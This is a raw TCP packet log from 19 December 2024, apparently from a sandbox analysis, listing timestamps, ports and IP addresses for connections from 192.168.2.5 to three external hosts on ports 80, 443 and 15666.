Dec 19, 2024 08:52:56.584640026 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.584752083 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.584806919 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.585597992 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.585741997 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.585783005 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.586544037 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.586656094 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.586699009 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.587547064 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.587619066 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.587665081 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.588500977 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.588613987 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.588658094 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.589466095 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.589576006 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.589617014 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.590424061 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.590533972 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.590605021 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.591422081 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.591813087 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.591860056 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.592514038 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.592583895 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.592628956 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.593337059 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.593483925 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.593533039 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.594302893 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.594428062 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.594484091 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.595257998 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.645190954 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.694984913 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.734627962 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.734746933 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.734791040 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.735049963 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.735142946 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.735186100 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.736037016 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.736145020 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.736187935 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.737020969 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.737149954 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.737193108 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.737929106 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.738054037 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.738101006 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.739082098 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.740168095 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.740226030 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.741919994 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.741935968 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.741951942 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.741976976 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.742074966 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.742114067 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.742249966 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.742413044 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.742465019 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.743328094 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.743344069 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.743393898 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.744147062 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.744299889 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.744343996 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.745126009 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.745285988 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.745336056 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.746093988 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.746275902 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.746350050 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.747200966 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.747216940 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.747256041 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.748069048 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.748089075 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.748131037 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.748620033 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.748729944 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.748774052 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.749553919 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.749675035 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.749732018 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.752964020 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.753026009 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.753071070 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.753210068 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.753226042 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.753242016 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.753257990 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.753276110 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.753303051 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.753971100 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.753977060 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.754040003 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.754987001 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.755168915 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.755219936 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.755999088 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.756019115 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.756084919 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.756782055 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.756968975 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.757019043 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.757776976 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.757791996 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.757838011 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.758577108 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.758742094 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.758794069 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.759740114 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.759763956 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.759805918 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.760608912 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.760768890 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.760811090 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.761624098 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.761651993 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.761698008 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.762536049 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.762691975 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.762732983 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.763505936 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.763674021 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.763765097 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.764467955 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:56.805505037 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:56.812681913 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:57.016746044 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:57.184884071 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:52:57.304510117 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:52:57.304615974 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:52:57.513073921 CET	49710	443	192.168.2.5	104.26.12.205
Dec 19, 2024 08:52:57.513175011 CET	443	49710	104.26.12.205	192.168.2.5
Dec 19, 2024 08:52:57.513600111 CET	49710	443	192.168.2.5	104.26.12.205
Dec 19, 2024 08:52:57.545272112 CET	49710	443	192.168.2.5	104.26.12.205
Dec 19, 2024 08:52:57.545356989 CET	443	49710	104.26.12.205	192.168.2.5
Dec 19, 2024 08:52:58.760090113 CET	443	49710	104.26.12.205	192.168.2.5
Dec 19, 2024 08:52:58.760179996 CET	49710	443	192.168.2.5	104.26.12.205
Dec 19, 2024 08:52:58.984515905 CET	49710	443	192.168.2.5	104.26.12.205
Dec 19, 2024 08:52:58.984592915 CET	443	49710	104.26.12.205	192.168.2.5
Dec 19, 2024 08:52:58.984966040 CET	443	49710	104.26.12.205	192.168.2.5
Dec 19, 2024 08:52:58.985039949 CET	49710	443	192.168.2.5	104.26.12.205
Dec 19, 2024 08:52:58.986375093 CET	49710	443	192.168.2.5	104.26.12.205
Dec 19, 2024 08:52:59.027333975 CET	443	49710	104.26.12.205	192.168.2.5
Dec 19, 2024 08:52:59.310158968 CET	443	49710	104.26.12.205	192.168.2.5
Dec 19, 2024 08:52:59.310234070 CET	443	49710	104.26.12.205	192.168.2.5
Dec 19, 2024 08:52:59.310246944 CET	49710	443	192.168.2.5	104.26.12.205
Dec 19, 2024 08:52:59.310286045 CET	49710	443	192.168.2.5	104.26.12.205
Dec 19, 2024 08:52:59.316448927 CET	49710	443	192.168.2.5	104.26.12.205
Dec 19, 2024 08:52:59.316482067 CET	443	49710	104.26.12.205	192.168.2.5
Dec 19, 2024 08:53:04.832885027 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:04.952663898 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:04.952697039 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:04.952729940 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:04.952744007 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:04.952769995 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:04.952781916 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:04.952795982 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:04.952816963 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:04.952846050 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:04.952877998 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:04.952888012 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:04.952938080 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:04.952946901 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:04.952966928 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:04.952996969 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:04.953023911 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:04.953057051 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:04.953084946 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:04.953120947 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:04.953130960 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.072308064 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.072390079 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.072437048 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.072504044 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.072623014 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.072637081 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.072686911 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.072734118 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.072741985 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.072819948 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.072921038 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.072933912 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.072947979 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.073013067 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.073035002 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.073082924 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.073147058 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.073153019 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.073185921 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.073210955 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.073257923 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.192159891 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.192254066 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.192253113 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.192329884 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.192509890 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.192651033 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.192663908 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.192686081 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.192743063 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.192775011 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.192837000 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.192965031 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.193017006 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.193059921 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.193121910 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.193254948 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.193279028 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.193317890 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.193355083 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.193356991 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.193397045 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.193407059 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.193427086 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.193440914 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.193473101 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.193543911 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.193557024 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.193608046 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.193618059 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.193676949 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.193706036 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.193720102 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.193775892 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.193793058 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.193839073 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.193852901 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.193897009 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.193906069 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.193938971 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.193985939 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.194000006 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.194026947 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.194036007 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.194062948 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.194083929 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.194104910 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.194118023 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.194129944 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.194185019 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.194200039 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.194247961 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.311873913 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.311903954 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.311959028 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.312002897 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.312011003 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.312025070 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.312076092 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.312161922 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.312175035 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.312201977 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.312216997 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.312226057 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.312242985 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.312267065 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.312280893 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.312427998 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.312453032 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.312506914 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.312536955 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.312550068 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.312602997 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.312654972 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.312788963 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.312848091 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.312851906 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.312865973 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.312922001 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.312993050 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.313016891 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.313039064 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.313065052 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.313158989 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.313172102 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.313215017 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.313241005 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.313242912 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.313302040 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.313304901 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.313354969 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.313378096 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.313407898 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.313472986 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.313513994 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.313579082 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.313633919 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.313695908 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.313759089 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.313783884 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.313801050 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.313803911 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.313827991 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.313854933 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.313873053 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.313947916 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.313960075 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.314019918 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.314085007 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.314097881 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.314158916 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.314166069 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.314172029 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.314214945 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.314258099 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.314307928 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.314326048 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.314338923 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.314352989 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.314395905 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.314399958 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.314414024 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.314445972 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.314460993 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.314467907 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.314482927 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.314528942 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.314587116 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.314608097 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.314661026 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.314721107 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.314734936 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.314780951 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.314798117 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.314810991 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.314858913 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.314889908 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.314903021 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.314949036 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.314985991 CET	15666	49709	193.3.19.151	192.168.2.5
